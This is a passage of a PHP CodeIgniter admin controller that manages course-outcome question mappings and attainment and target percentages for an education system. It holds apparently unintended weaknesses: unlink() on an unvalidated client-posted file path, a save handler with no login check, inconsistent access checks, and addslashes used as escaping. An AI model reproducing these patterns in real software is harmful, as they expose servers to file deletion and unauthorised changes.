    public function coQuestionMap() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["coMappings"] = $this->OBESManagement->getAllCOQuestionMappings()->result();
            $this->load->view("admin/obes/coQuestionMap", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createCOQuestionMapping() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["subjects"] = $this->SubjectManagement->getAllActiveNonDeletedSubjects()->result();
            $viewData["levels"] = $this->OBESManagement->getActiveAndNonDeletedLevelsAndKeywords()->result();
            $this->load->view("admin/obes/createCOQuestionMapping", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewCOQuestionMapping() {
        $this->form_validation->set_rules("sm_name", "Subject Name", "trim|required", array("required" => "Select Subject Name."));
        $this->form_validation->set_rules("test_name", "Assessment Name", "trim|required", array("required" => "Select Assessment Name."));
        $this->form_validation->set_rules("sco_qno", "Question No.", "trim|required", array("required" => "Enter Question No."));
        $this->form_validation->set_rules("sco_marks", "Question Marks", "trim|required", array("required" => "Enter Question Marks."));
        $this->form_validation->set_rules("level", "Question Level", "trim|required", array("required" => "Select Question Level."));

        $coSelection = $this->input->post('co_name');
        $newCOQuestionMappingData = array();
        if (is_array($coSelection)) {
            $isCoSelected = (sizeof($coSelection)) ? 1 : 0;
        } else {
            $isCoSelected = 0;
        }
        if ($this->form_validation->run() == false) {
            if (!$isCoSelected) {
                $this->session->set_flashdata('errorMessage', "At Least One CO Should Be Selected While Alloting Subject.");
            }
            if (empty($_FILES['qno_file']['name']) && $this->input->post("qno_desc") == "") {
                $this->session->set_flashdata('errorMessages', "Either Question Description Or Question File Is Mandatory.");
            }
            $this->createCOQuestionMapping();
        } else if (empty($_FILES['qno_file']['name']) && $this->input->post("qno_desc") == "") {
            $this->session->set_flashdata('errorMessages', "Either Question Description Or Question File Is Mandatory.");
            $this->createCOQuestionMapping();
        } else {
            $a = $this->OBESManagement->getTestQuestionBy(trim($this->input->post("sm_name")), trim($this->input->post("test_name")), addslashes(trim($this->input->post("sco_qno"))))->result();
            $newQuestionData = array();
            $file = null;
            if (!empty($_FILES['qno_file']['name'])) {
                $fileConfig["upload_path"] = "./assets/admin/uploads/obes/questionBank/";
                $fileConfig["allowed_types"] = "jpg|png|webp";
                $fileConfig["max_size"] = "1024";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["encrypt_name"] = TRUE;

                $this->load->library("upload", $fileConfig);
                if (!$this->upload->do_upload("qno_file")) {
                    $this->session->set_flashdata("errorMessage", $this->upload->display_errors());
                    redirect("admin/OBESConfig/createCOQuestionMapping");
                } else {
                    $file = "assets/admin/uploads/obes/questionBank/" . $this->upload->data()["file_name"];
                }
            }
            if (sizeof($a) <= 0) {
                $newQuestionData = array(
                    "test_id" => trim($this->input->post("test_name")),
                    "qno_name" => addslashes(trim($this->input->post("sco_qno"))),
                    "qno_marks" => addslashes(trim($this->input->post("sco_marks"))),
                    "qno_added_by" => $this->session->userdata("adminData")["smember_id"],
                    "qno_added_on" => date("Y-m-d H:i:s"),
                    "qno_updated_by" => $this->session->userdata("adminData")["smember_id"],
                    "qno_updated_on" => date("Y-m-d H:i:s"),
                    "qno_desc" => ($this->input->post("qno_desc") == "" ) ? null : addslashes(trim($this->input->post("qno_desc"))),
                    "qno_file" => $file,
                    "qno_level" => $this->input->post("level")
                );
                $qno_id = $this->OBESManagement->createNewQuestion($newQuestionData);
            } else {
                $qno_id = $a[0]->qno_id;
            }
            $b = 0;
            for ($i = 0; $i < sizeof($coSelection); $i++) {
                if (sizeof($this->OBESManagement->getCOQuestionMappingBy($coSelection[$i], trim($this->input->post("sm_name")), trim($this->input->post("test_name")), $qno_id)->result())) {
                    $b++;
                } else if (sizeof($coSelection) != $b) {
                    array_push($newCOQuestionMappingData, array(
                        "co_id" => $coSelection[$i],
                        "qno_id" => $qno_id,
                        "sco_added_by" => $this->session->userdata("adminData")["smember_id"],
                        "sco_added_on" => date("Y-m-d H:i:s"),
                        "sco_updated_by" => $this->session->userdata("adminData")["smember_id"],
                        "sco_updated_on" => date("Y-m-d H:i:s")
                    ));
                }
            }

            if (sizeof($coSelection) == $b) {
                $this->session->set_flashdata("errorMessage", "Selected Subject/Assessment & Question No. Combination Already Exits. Please Choose Different Combination.");
                $this->createCOQuestionMapping();
            } else {
                $this->db->trans_start();
                if ($this->OBESManagement->createNewCOQuestionMap($newCOQuestionMappingData)) {
                    $this->db->trans_complete();
                    $this->session->set_flashdata("successMessage", "CO-Question Mapping Successful.");
                    redirect("admin/OBESConfig/coQuestionMap");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Mapping CO-Question. Try Later.");
                    redirect(current_url());
                }
            }
        }
    }

    public function editCOQuestionMapping($sco_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["subjects"] = $this->SubjectManagement->getAllActiveNonDeletedSubjects()->result();
            $viewData["coQuestionMapInfo"] = $this->OBESManagement->getCOQuestionMapBy($sco_id)->result()[0];
            $viewData["levels"] = $this->OBESManagement->getActiveAndNonDeletedLevelsAndKeywords()->result();
            $this->load->view("admin/obes/editCOQuestionMapping", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateCOQuestionMapping() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $sco_id = trim($this->input->post("sco_id"));
            $qno_id = trim($this->input->post("qno_id"));
            $this->form_validation->set_rules("co_name", "Course Outcome Name", "trim|required", array("required" => "Select Course Outcome Name."));
            $this->form_validation->set_rules("sco_marks", "Question Marks", "trim|required", array("required" => "Enter Question Marks."));
            $this->form_validation->set_rules("level", "Question Level", "trim|required", array("required" => "Select Question Level."));

            if ($this->form_validation->run() == false) {
                if (empty($_FILES['qno_file']['name']) && $this->input->post("qno_desc") == "") {
                    $this->session->set_flashdata('errorMessage', "Either Question Description Or Question File Is Mandatory.");
                }
                $this->editCOQuestionMapping($sco_id);
            } else if (empty($_FILES['qno_file']['name']) && $this->input->post("qno_desc") == "") {
                $this->session->set_flashdata('errorMessage', "Either Question Description Or Question File Is Mandatory.");
                $this->editCOQuestionMapping($sco_id);
            } else {
                if (sizeof($this->OBESManagement->checkCOQuestionMappingIsSafeToUpdate(trim($this->input->post("co_name")), trim($this->input->post("sm_name")), trim($this->input->post("test_name")), $qno_id, trim($this->input->post("qno_name")))->result())) {
                    $this->session->set_flashdata("errorMessage", "Selected Subject/Assessment & Question No. Combination Already Exits. Please Choose Different Combination.");
                    $this->editCOQuestionMapping($sco_id);
                } else {
                    $file = null;
                    if (!empty($_FILES['qno_file']['name'])) {
                        $fileConfig["upload_path"] = "./assets/admin/uploads/obes/questionBank/";
                        $fileConfig["allowed_types"] = "jpg|png|webp";
                        $fileConfig["max_size"] = "1024";
                        $fileConfig["file_ext_tolower"] = TRUE;
                        $fileConfig["encrypt_name"] = TRUE;
                        $file = null;
                        $this->load->library("upload", $fileConfig);
                        if (!$this->upload->do_upload("qno_file")) {
                            $this->session->set_flashdata("errorMessage", $this->upload->display_errors());
                            redirect("admin/OBESConfig/createCOQuestionMapping");
                        } else {
                            $file = "assets/admin/uploads/obes/questionBank/" . $this->upload->data()["file_name"];
                            if (file_exists("./" . trim($this->input->post('old_file')))) {
                                unlink("./" . trim($this->input->post('old_file')));
                            }
                        }
                    } else {
                        $file = $this->input->post("old_file");
                    }
                    $scoUpdatedData = array(
                        "co_id" => trim($this->input->post("co_name")),
                        "sco_updated_by" => $this->session->userdata("adminData")["smember_id"],
                        "sco_updated_on" => date("Y-m-d H:i:s")
                    );
                    $qnoUpdatedData = array(
                        "qno_marks" => trim($this->input->post("sco_marks")),
                        "qno_updated_by" => $this->session->userdata("adminData")["smember_id"],
                        "qno_updated_on" => date("Y-m-d H:i:s"),
                        "qno_desc" => ($this->input->post("qno_desc") == "" ) ? null : addslashes(trim($this->input->post("qno_desc"))),
                        "qno_file" => $file,
                        "qno_level" => $this->input->post("level")
                    );
                    $this->db->trans_start();
                    if ($this->OBESManagement->updateCOQuestionMap($scoUpdatedData, $sco_id) && $this->OBESManagement->updateQuestionMap($qnoUpdatedData, $qno_id)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata("successMessage", "CO-Question Mapping Updated Successfully.");
                        redirect("admin/OBESConfig/coQuestionMap");
                    } else {
                        $this->session->set_flashdata("errorMessage", "An Error Occured While Updating CO-Question Mapping. Try Later.");
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleCOQuestionMapStatus($sco_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $scoUpdatedData = array(
                'sco_updated_on' => date("Y-m-d H:i:s"),
                'sco_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'sco_active_status' => $changeStatus
            );
            if ($this->OBESManagement->updateCOQuestionMap($scoUpdatedData, $sco_id)) {
                $this->session->set_flashdata('successMessage', 'CO-Question Map Status Updated Successfully.');
                redirect("admin/OBESConfig/coQuestionMap");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update CO-Question Map Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleCOQuestionMapDeleteStatus($sco_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $scoUpdatedData = array(
                'sco_updated_on' => date("Y-m-d H:i:s"),
                'sco_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'sco_delete_status' => $changeStatus
            );
            if ($this->OBESManagement->updateCOQuestionMap($scoUpdatedData, $sco_id)) {
                $this->session->set_flashdata('successMessage', 'CO-Question Map Delete Status Updated Successfully.');
                redirect("admin/OBESConfig/coQuestionMap");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update CO-Question Map Delete Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function createCOAttainmentTargetPercentage() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $this->load->view("admin/obes/createCOAttainmentTargetPercentage", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveCOAttainmentTargetPercentage() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules("session", "Session", "trim|required", array("required" => "Select Session."));
            $this->form_validation->set_rules("sm_name", "Subject Name", "trim|required", array("required" => "Select Subject Name."));
            $this->form_validation->set_rules("ocoops_percentage_flag", "Used As", "trim|required", array("required" => "Select Used As Flag."));
            $this->form_validation->set_rules("per", "Course Outcome Percentage", "trim|required", array("required" => "Enter Course Outcome Percentage."));
            if ($this->form_validation->run() == false) {
                $this->createCOAttainmentTargetPercentage();
            } else {
                if (sizeof($this->OBESManagement->getCOAttainmentPercentageSubjectby('', $this->input->post("sm_name"), trim($this->input->post("session")), $this->input->post("ocoops_percentage_flag"))->result())) {
                    $this->session->set_flashdata("errorMessage", "Session, Subject Combination Already Exits. Please Choose Different Combination.");
                    $this->createCOAttainmentTargetPercentage();
                } else {
                    $newCOAttainmentPercentageData = array(
                        "sm_id" => $this->input->post("sm_name"),
                        "session_id" => $this->input->post("session"),
                        "ocoops_percentage" => $this->input->post("per"),
                        "ocoops_percentage_flag" => $this->input->post("ocoops_percentage_flag"),
                        "ocoops_added_by" => $this->session->userdata("adminData")["smember_id"],
                        "ocoops_added_on" => date("Y-m-d H:i:s"),
                        "ocoops_updated_by" => $this->session->userdata("adminData")["smember_id"],
                        "ocoops_updated_on" => date("Y-m-d H:i:s")
                    );
                    if ($this->OBESManagement->createCOAttainmentPercentage($newCOAttainmentPercentageData)) {
                        $this->session->set_flashdata("successMessage", "Course Outcome Target Percentage Created Successful.");
                        redirect("admin/OBESConfig/coAttainmentPercentages");
                    } else {
                        $this->session->set_flashdata("errorMessage", "An Error Occured While Creating Course Outcome Target Percentage. Try Later.");
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function coAttainmentPercentages() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["coTargetPercentages"] = $this->OBESManagement->getAllCOAttainmentPercentages()->result();
            $this->load->view("admin/obes/coTargetPercentages", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function toggleCOAttainmentPercentageDeleteStatus($ocoops_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $array = array(
                'ocoops_updated_on' => date("Y-m-d H:i:s"),
                'ocoops_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'ocoops_delete_status' => $changeStatus
            );
            if ($this->OBESManagement->updateCOAttainmentPercentage($ocoops_id, $array)) {
                $this->session->set_flashdata('successMessage', 'Course Outcome Target Percentage Delete Status Updated Successfully.');
                redirect("admin/OBESConfig/coAttainmentPercentages");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Course Outcome Target Percentage Delete Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleCOAttainmentPercentageStatus($ocoops_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $array = array(
                'ocoops_updated_on' => date("Y-m-d H:i:s"),
                'ocoops_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'ocoops_active_status' => $changeStatus
            );
            if ($this->OBESManagement->updateCOAttainmentPercentage($ocoops_id, $array)) {
                $this->session->set_flashdata('successMessage', 'Course Outcome Target Percentage Status Updated Successfully.');
                redirect("admin/OBESConfig/coAttainmentPercentages");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Course Outcome Target Percentage Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function editCOAttainmentPercentage($ocoops_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["oCOOPS"] = $this->OBESManagement->getCOOverAllAttainmentPercentagesBy($ocoops_id)->result()[0];

            $this->load->view("admin/obes/editCOAttainmentPercentage", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateCOTargetPercentage() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $ocoops_id = trim($this->input->post("ocoops_id"));
            $this->form_validation->set_rules("session", "Session", "trim|required", array("required" => "Select Session."));
            $this->form_validation->set_rules("sm_name", "Subject Name", "trim|required", array("required" => "Select Subject Name."));
            $this->form_validation->set_rules("ocoops_percentage_flag", "Used As", "trim|required", array("required" => "Select Used As Flag."));
            if ($this->form_validation->run() == false) {
                $this->editCOTargetPercentage($ocoops_id);
            } else {
                if (sizeof($this->OBESManagement->getCOAttainmentPercentageSubjectby($ocoops_id, $this->input->post("sm_name"), trim($this->input->post("session")), $this->input->post("ocoops_percentage_flag"))->result())) {
                    $this->session->set_flashdata("errorMessage", "Data Already Exist. Try Again.");
                    redirect("admin/OBESConfig/editCOAttainmentPercentage/$ocoops_id");
                } else {
                    $array = array(
                        "sm_id" => $this->input->post("sm_name"),
                        "session_id" => $this->input->post("session"),
                        "ocoops_percentage" => $this->input->post("per"),
                        "ocoops_percentage_flag" => $this->input->post("ocoops_percentage_flag"),
                        "ocoops_updated_by" => $this->session->userdata("adminData")["smember_id"],
                        "ocoops_updated_on" => date("Y-m-d H:i:s")
                    );
                    if ($this->OBESManagement->updateCOAttainmentPercentage($ocoops_id, $array)) {
                        $this->session->set_flashdata("successMessage", "Course Outcome Target Percentage Updated Successful.");
                        redirect("admin/OBESConfig/coAttainmentPercentages");
                    } else {
                        $this->session->set_flashdata("errorMessage", "An Error Occured While Updating Course Outcome Target Percentage. Try Later.");
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    /**/

    public function createCOTargetPercentage() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $this->load->view("admin/obes/createCOTargetPercentage", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveCOTargetPercentage() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules("session", "Session", "trim|required", array("required" => "Select Session."));
            $this->form_validation->set_rules("sm_name", "Subject Name", "trim|required", array("required" => "Select Subject Name."));
            $this->form_validation->set_rules("per", "Course Outcome Percentage", "trim|required", array("required" => "Enter Course Outcome Percentage."));
            $coSelection = $this->input->post('co_name');
            $newCOTargetPercentageData = array();
            if (is_array($coSelection)) {
                $isCoSelected = (sizeof($coSelection)) ? 1 : 0;
            } else {
                $isCoSelected = 0;
            }
            if ($this->form_validation->run() == false) {
                if (!$isCoSelected) {
                    $this->session->set_flashdata('errorMessage', "At Least One CO Should Be Selected While Setting Percentage To Course Outcome.");
                }
                $this->createCOTargetPercentage();
            } else {
                $b = 0;
                for ($i = 0; $i < sizeof($coSelection); $i++) {
                    if (sizeof($this->OBESManagement->getCOTargetPercentageby('', $coSelection[$i], trim($this->input->post("session")))->result())) {
                        $b++;
                    } else {
                        array_push($newCOTargetPercentageData, array(
                            "co_id" => $coSelection[$i],
                            "session_id" => $this->input->post("session"),
                            'ocotp_percentage' => $this->input->post("per"),
                            "ocotp_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "ocotp_added_on" => date("Y-m-d H:i:s"),
                            "ocotp_updated_by" => $this->session->userdata("adminData")["smember_id"],
                            "ocotp_updated_on" => date("Y-m-d H:i:s")
                        ));
                    }
                }
                if (sizeof($coSelection) == $b) {
                    $this->session->set_flashdata("errorMessage", "All Session, Subject & Course Outcome Combination Already Exits. Please Choose Different Combination.");
                    $this->createCOTargetPercentage();
                } else {
                    $this->db->trans_start();
                    if ($this->OBESManagement->createCOTargetPercentage($newCOTargetPercentageData)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata("successMessage", "Course Outcome Target Percentage Created Successful.");
                        redirect("admin/OBESConfig/coEachTargetPercentages");
                    } else {
                        $this->session->set_flashdata("errorMessage", "An Error Occured While Creating Course Outcome Target Percentage. Try Later.");
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function coEachTargetPercentages() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["coTargetPercentages"] = $this->OBESManagement->getAllCOTargetPercentages()->result();
            $this->load->view("admin/obes/coEachTargetPercentages", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function toggleCOTargetPercentageDeleteStatus($ocotp_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $array = array(
                'ocotp_updated_on' => date("Y-m-d H:i:s"),
                'ocotp_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'ocotp_delete_status' => $changeStatus
            );
            if ($this->OBESManagement->updateCOTargetPercentage($ocotp_id, $array)) {
                $this->session->set_flashdata('successMessage', 'Course Outcome Target Percentage Delete Status Updated Successfully.');
                redirect("admin/OBESConfig/coEachTargetPercentages");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Course Outcome Target Percentage Delete Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleCOTargetPercentageStatus($ocotp_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $array = array(
                'ocotp_updated_on' => date("Y-m-d H:i:s"),
                'ocotp_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'ocotp_active_status' => $changeStatus
            );
            if ($this->OBESManagement->updateCOTargetPercentage($ocotp_id, $array)) {
                $this->session->set_flashdata('successMessage', 'Course Outcome Target Percentage Status Updated Successfully.');
                redirect("admin/OBESConfig/coEachTargetPercentages");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Course Outcome Target Percentage Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function editCOTargetPercentage($ocotp_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["coTargetPercentageDetails"] = $this->OBESManagement->getCOTargetPercentagesBy($ocotp_id)->result()[0];
            $this->load->view("admin/obes/editCOTargetPercentage", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateCOEachTargetPercentage() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $ocotp_id = trim($this->input->post("ocotp_id"));
            $this->form_validation->set_rules("session", "Session", "trim|required", array("required" => "Select Session."));
            $this->form_validation->set_rules("sm_name", "Subject Name", "trim|required", array("required" => "Select Subject Name."));
            $this->form_validation->set_rules("per", "Course Outcome Percentage", "trim|required", array("required" => "Enter Course Outcome Percentage."));
            $this->form_validation->set_rules("co_name", "Course Outcome", "trim|required", array("required" => "Select Course Outcome."));
            if ($this->form_validation->run() == false) {
                $this->editCOTargetPercentage($ocotp_id);
            } else {
                if (sizeof($this->OBESManagement->getCOTargetPercentageby($ocotp_id, trim($this->input->post("co_name")), trim($this->input->post("session")))->result())) {
                    $this->session->set_flashdata("errorMessage", "Data Already Exist. Try Again.");
                    redirect("admin/OBESConfig/editCOTargetPercentage/$ocotp_id");
                } else {
                    $array = array(
                        "co_id" => trim($this->input->post("co_name")),
                        "session_id" => $this->input->post("session"),
                        'ocotp_percentage' => $this->input->post("per"),
                        "ocotp_added_by" => $this->session->userdata("adminData")["smember_id"],
                        "ocotp_added_on" => date("Y-m-d H:i:s"),
                        "ocotp_updated_by" => $this->session->userdata("adminData")["smember_id"],
                        "ocotp_updated_on" => date("Y-m-d H:i:s")
                    );
                    $this->db->trans_start();
                    if ($this->OBESManagement->updateCOTargetPercentage($ocotp_id, $array)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata("successMessage", "Course Outcome Target Percentage Updated Successful.");
                        redirect("admin/OBESConfig/coEachTargetPercentages");
                    } else {
                        $this->session->set_flashdata("errorMessage", "An Error Occured While Updating Course Outcome Target Percentage. Try Later.");
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function createCOSemesterExamTargetPercentage() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $this->load->view("admin/obes/createCOSemesterExamTargetPercentage", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveCOSemesterExamTargetPercentage() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules("session", "Session", "trim|required", array("required" => "Select Session."));
            $this->form_validation->set_rules("sm_name", "Subject Name", "trim|required", array("required" => "Select Subject Name."));
            $this->form_validation->set_rules("per", "Course Outcome Percentage", "trim|required", array("required" => "Enter Target Percentage For Subject-Wise Semester Exam ."));
            if ($this->form_validation->run() == false) {
                $this->createCOSemesterExamTargetPercentage();
            } else {
                if (sizeof($this->OBESManagement->getCOSemesterExamTargetPercentageBy('', trim($this->input->post("sm_name")), trim($this->input->post("session")))->result())) {
                    $this->session->set_flashdata("errorMessage", "Data Already Exist. Try Again.");
                    redirect("admin/obes/createCOSemesterExamTargetPercentage");
                } else {
                    $array = array(
                        "sm_id" => trim($this->input->post("sm_name")),
                        "session_id" => $this->input->post("session"),
                        'osetp_percentage' => $this->input->post("per"),
                        "osetp_added_by" => $this->session->userdata("adminData")["smember_id"],
                        "osetp_added_on" => date("Y-m-d H:i:s"),
                        "osetp_updated_by" => $this->session->userdata("adminData")["smember_id"],
                        "osetp_updated_on" => date("Y-m-d H:i:s")
                    );
                    $this->db->trans_start();
                    if ($this->OBESManagement->createCOSemesterExamTargetPercentage($array)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata("successMessage", "Course Outcome Semester Exam Target Percentage Created Successful.");
                        redirect("admin/OBESConfig/coSemesterExamTargetPercentages");
                    } else {
                        $this->session->set_flashdata("errorMessage", "An Error Occured While Creating Course Outcome Semester Exam Target Percentage. Try Later.");
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function coSemesterExamTargetPercentages() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["coSemesterExamTargetPercentages"] = $this->OBESManagement->getAllCOSemesterExamTargetPercentages()->result();
            $this->load->view("admin/obes/coSemesterExamTargetPercentages", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function toggleCOSemesterExamTargetPercentageDeleteStatus($osetp_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $array = array(
                'osetp_updated_on' => date("Y-m-d H:i:s"),
                'osetp_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'osetp_delete_status' => $changeStatus
            );
            if ($this->OBESManagement->updateCOSemesterExamTargetPercentage($osetp_id, $array)) {
                $this->session->set_flashdata('successMessage', 'Course Outcome Target Percentage Delete Status Updated Successfully.');
                redirect("admin/OBESConfig/coSemesterExamTargetPercentages");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Course Outcome Target Percentage Delete Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleCOSemesterExamTargetPercentageStatus($osetp_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $array = array(
                'osetp_updated_on' => date("Y-m-d H:i:s"),
                'osetp_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'osetp_active_status' => $changeStatus
            );
            if ($this->OBESManagement->updateCOSemesterExamTargetPercentage($osetp_id, $array)) {
                $this->session->set_flashdata('successMessage', 'Course Outcome Target Percentage Status Updated Successfully.');
                redirect("admin/OBESConfig/coSemesterExamTargetPercentages");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Course Outcome Target Percentage Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function editCOSemesterExamTargetPercentage($osetp_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["coSemesterExamTargetPercentageDetails"] = $this->OBESManagement->getCOSemesterExamTargetPercentagesBy($osetp_id)->result()[0];
            $this->load->view("admin/obes/editCOSemesterExamTargetPercentage", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateCOSemesterExamTargetPercentage() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $osetp_id = trim($this->input->post("osetp_id"));
            $this->form_validation->set_rules("session", "Session", "trim|required", array("required" => "Select Session."));
            $this->form_validation->set_rules("sm_name", "Subject Name", "trim|required", array("required" => "Select Subject Name."));
            $this->form_validation->set_rules("per", "Course Outcome Percentage", "trim|required", array("required" => "Enter Target Percentage For Subject-Wise Semester Exam ."));
            if ($this->form_validation->run() == false) {
                $this->createCOSemesterExamTargetPercentage();
            } else {
                if (sizeof($this->OBESManagement->getCOSemesterExamTargetPercentageBy($osetp_id, trim($this->input->post("sm_name")), trim($this->input->post("session")))->result())) {
                    $this->session->set_flashdata("errorMessage", "Data Already Exist. Try Again.");
                    redirect("admin/obes/createCOSemesterExamTargetPercentage");
                } else {
                    $array = array(
                        "sm_id" => trim($this->input->post("sm_name")),
                        "session_id" => $this->input->post("session"),
                        'osetp_percentage' => $this->input->post("per"),
                        "osetp_added_by" => $this->session->userdata("adminData")["smember_id"],
                        "osetp_added_on" => date("Y-m-d H:i:s"),
                        "osetp_updated_by" => $this->session->userdata("adminData")["smember_id"],
                        "osetp_updated_on" => date("Y-m-d H:i:s")
                    );
                    $this->db->trans_start();
                    if ($this->OBESManagement->updateCOSemesterExamTargetPercentage($osetp_id, $array)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata("successMessage", "Course Outcome Semester Exam Target Percentage Updated Successful.");
                        redirect("admin/OBESConfig/coSemesterExamTargetPercentages");
                    } else {
                        $this->session->set_flashdata("errorMessage", "An Error Occured While Updating Course Outcome Semester Exam Target Percentage. Try Later.");
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    /* CO Attainment Level Subjetc Wise (Direct/Indirect) */

    public function createCOAttainmentLevelPercentage() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $this->load->view("admin/obes/createCOAttainmentLevelPercentage", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveCOAttainmentLevelPercentage() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules("session", "Session", "trim|required", array("required" => "Select Session."));
            $this->form_validation->set_rules("sm_name", "Subject Name", "trim|required", array("required" => "Select Subject Name."));
            $this->form_validation->set_rules("level_name", "CO Attainment Level Name", "trim|required", array("required" => "Enter CO Attainment Level Name."));
            $this->form_validation->set_rules("level_value", "CO Attainment Level Value", "trim|required", array("required" => "Enter CO Attainment Level Value."));
            $this->form_validation->set_rules("per_from", "CO Attainment Level From", "trim|required", array("required" => "Enter CO Attainment Level Percentage (From) ."));
            $this->form_validation->set_rules("per_to", "CO Attainment Level To", "trim|required", array("required" => "Enter CO Attainment Level Percentage (To) ."));
            if ($this->form_validation->run() == false) {
                $this->createCOAttainmentLevelPercentage();
            } else {
                if (sizeof($this->OBESManagement->getCOAttainmentLevelPercentageBy('', trim($this->input->post("sm_name")), trim($this->input->post("session")), addslashes(trim($this->input->post("level_name"))), addslashes(trim($this->input->post("level_value"))), trim($this->input->post("ocoalp_DI_flag")))->result())) {
                    $this->session->set_flashdata("errorMessage", "Data Already Exist. Try Again.");
                    redirect("admin/OBESConfig/createCOAttainmentLevelPercentage");
                } else {
                    $array = array(
                        "sm_id" => trim($this->input->post("sm_name")),
                        "session_id" => $this->input->post("session"),
                        'ocoalp_level_value' => addslashes(trim($this->input->post("level_value"))),
                        'ocoalp_level_name' => addslashes(trim($this->input->post("level_name"))),
                        'ocoalp_percentage_from' => addslashes(trim($this->input->post("per_from"))),
